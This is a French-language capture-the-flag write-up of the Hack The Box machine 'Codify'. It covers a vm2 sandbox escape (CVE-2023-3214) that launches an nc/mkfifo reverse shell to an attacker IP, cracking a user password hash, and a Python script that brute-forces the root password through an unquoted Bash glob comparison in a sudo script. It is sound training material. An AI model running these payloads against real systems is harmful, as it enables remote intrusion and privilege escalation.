HTB: Codify
- Platforme: Hack The Box
- Lien: Codify
- Niveau: Facile
- OS: Linux
Codify démarre avec une application web offrant un environnement sandbox pour tester son code Node.js. Elle utilise vm2
et emploie une liste blanche de modules. Cependant, il existe une vulnérabilité (CVE-2023-3214
) avec vm2 qui peut être exploitée pour sortir du sandbox et accéder au système cible. Un mouvement latéral permet ensuite d’accéder à un autre compte utilisateur et d’ obtenir le drapeau user.txt
. De plus, après avoir identifié une vulnérabilité dans un script que nous pouvons exécuter avec des privilèges élevés, une attaque par force brute est utilisée pour obtenir le mot de passe de l’utilisateur root.
Adresse IP cible - 10.10.11.239
Scanning
nmap -sC -sV -oA nmap/Codify 10.10.11.239
Results
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 20:19 CDT
Nmap scan report for 10.10.11.239
Host is up (0.051s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.83 seconds
Nous identifions trois ports ouverts : 22 (SSH), 80 (HTTP) et 3000 (Node.js). Nous sommes redirigés vers codify.htb
que j’ai ajouté à /etc/hosts
.
sudo echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts
Enumération
Le site web est un service permettant de tester des codes Node.js dans un environnement sandbox.
En cliquant sur Try it now
, un éditeur s’affiche, dans lequel le code peut être exécuté.
La plateforme utilise une liste blanche de modules pour des raisons de sécurité.
Dans la section “About Us”, nous apprenons que la bibliothèque vm2 est utilisée.
Accès Initial
En recherchant les vulnérabilités de vm2, nous trouvons CVE-2023-3214 et un PoC peut être trouvé ici . Ce programme nous permet d’échapper au sandbox et d’obtenir l’exécution de code à distance (RCE).
Après de multiples échecs, la recherche d’un reverse shell me mène à cette
vidéo de 0xdf où il explique les reverse shell mkfifo
. Quelques reverse shells mkfifo sont disponibles ici
et le premier finit par fonctionner. Voici le code complet.
N’oubliez pas de modifier l’adresse IP et le numéro de port.
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("rm -f /tmp/a; mkfifo /tmp/a; nc 10.10.14.13 9001 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a ").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code));
L’accès initial est obtenu après avoir exécuté le code dans l’éditeur.
Le shell peut être amélioré en exécutant les commandes ci-dessous.
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl + z
stty raw -echo; fg
stty rows 38 columns 116
Elévation de Privilèges Horizontale
L’accès au dossier joshua
dans /home
est bloqué. Il appartient à l’utilisateur joshua
qui est notre cible pour le mouvement latéral.
Après avoir exécuté linpeas
sur la cible, quelques fichiers accessibles intéressants sont trouvés dans le répertoire racine d’Apache.
Le fichier tickets.db
dans /var/www/contact
contient le hash du mot de passe de l’utilisateur joshua
.
hashid
révèle qu’il s’agit d’un hash Blowfish.
En utilisant john pour craquer le hash, le mot de passe spongebob1
est récupéré.
Avec les identifiants joshua:spongebob1
nous pouvons nous connecter via SSH et obtenir le drapeau user.txt
Elévation de Privilèges Verticale
La commande sudo -l
révèle que l’utilisateur joshua
peut exécuter le script mysql-backup.sh
en tant que root.
Lorsque nous essayons d’exécuter le script, nous obtenons le message Enter MySQL password for root:
.
Voici le contenu du script
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
L’image ci-dessous identifie la vulnérabilité du script. Avec Bash, lorsque la partie droite de l’opérateur ==
d’une expression conditionnelle (entre doubles crochets [[ ... ]]
) n’est pas placée entre guillemets, Bash effectue un “pattern matching” (également appelé “globbing”) au lieu de l’interpréter comme une chaîne de caractères.
Par exemple, si le mot de passe est hello
, [[$DB_PASS == hello]]
et [[$DB_PASS == h*]]
fonctionneront tous les deux car h*
est un “pattern” qui correspond à n’importe quelle chaîne commençant par la lettre h
. Sachant cela, une attaque par force brute du mot de passe devient une solution viable.
Pour résoudre ce problème, vous devez mettre entre guillemets la variable
$USER_PASS
dans la comparaison, comme suit :if [[ $DB_PASS == "$USER_PASS" ]] ; then
. Cela garantit que la valeur de$USER_PASS
est traitée comme une chaîne de caractères, et non comme un motif.
Voici le script Python que j’ai utilisé
import string
import os
chars = string.ascii_letters + string.digits
password=''
next=1
print("[+] initializing bruteforce script...")
print("[+] bruteforce in progress, please wait...")
while next==1:
for i in chars:
errorlevel=os.system("echo "+password+i+"* | sudo /opt/scripts/mysql-backup.sh >/dev/null 2>&1")
if errorlevel==0:
password=password+i
print("[+] new character found: "+password)
next=1
break
else: next=0
print("[+] process terminated, root password is: "+password)
Voici comment le script fonctionne:
Il importe les modules nécessaires :
string
pour les ensembles de caractères etos
pour l’exécution des commandes système.Il définit un ensemble de caractères
chars
qui inclut toutes les lettres ASCII (minuscules et majuscules) et les chiffres.Un mot de passe vide est initialisé pour stocker les caractères du mot de passe découvert, et un drapeau (
next
) pour contrôler la boucle.Il commence une boucle
while
qui continue tant quenext
est égal à 1. A l’intérieur de cette boucle :- Il itère sur chaque caractère
i
danschars
.
- Il itère sur chaque caractère
- Pour chaque caractère, il construit une commande qui renvoie le mot de passe actuel plus le caractère
i
, suivi d’un wildcard*
, et l’envoie àsudo /opt/scripts/mysql-backup.sh
. La commande est exécutée dans un shell et son résultat est redirigé vers /dev/null pour le supprimer.- Si la commande réussit (c’est-à-dire que le statut de sortie
errorlevel
est0
), cela signifie que lepassword
actuel plus le caractèrei
est un préfixe du mot de passe actuel. Dans ce cas, il ajoutei
au mot de passe, affiche un message sur la console, et metnext
à1
pour continuer la boucle.
- Si la commande réussit (c’est-à-dire que le statut de sortie
- Si la commande échoue (c’est-à-dire que le statut de sortie
errorlevel
est différent de zéro), cela signifie que lepassword
actuel plus le caractèrei
n’est pas un préfixe du mot de passe actuel. Dans ce cas, il metnext
à0
pour arrêter la boucle après l’itération en cours.
- Une fois la boucle terminée, un message est affiché sur la console indiquant que le processus est terminé et le mot de passe découvert est affiché.
Après l’exécution du script, le mot de passe root s’avère être kljh12k3jhaskjh12kjh3
.
Le mot de passe est utilisé pour accéder au compte root
et le drapeau root.txt
se trouve dans /root
.
La connaissance de Bash était indispensable pour comprendre la vulnérabilité du script. En tant que professionnel dans le domaine de la sécurité informatique, il est toujours utile d’avoir des connaissances en matière de scripting/programmation en Bash et en Python.
Si vous cherchez des ressources, freeCodeCamp propose un tutoriel pour Bash pour les débutants sur leur chaîne YouTube. Si vous préférez les livres, je vous recommande Learning the bash Shell, 3rd Edition et The Linux Command Line, 2nd Edition : A Complete Introduction .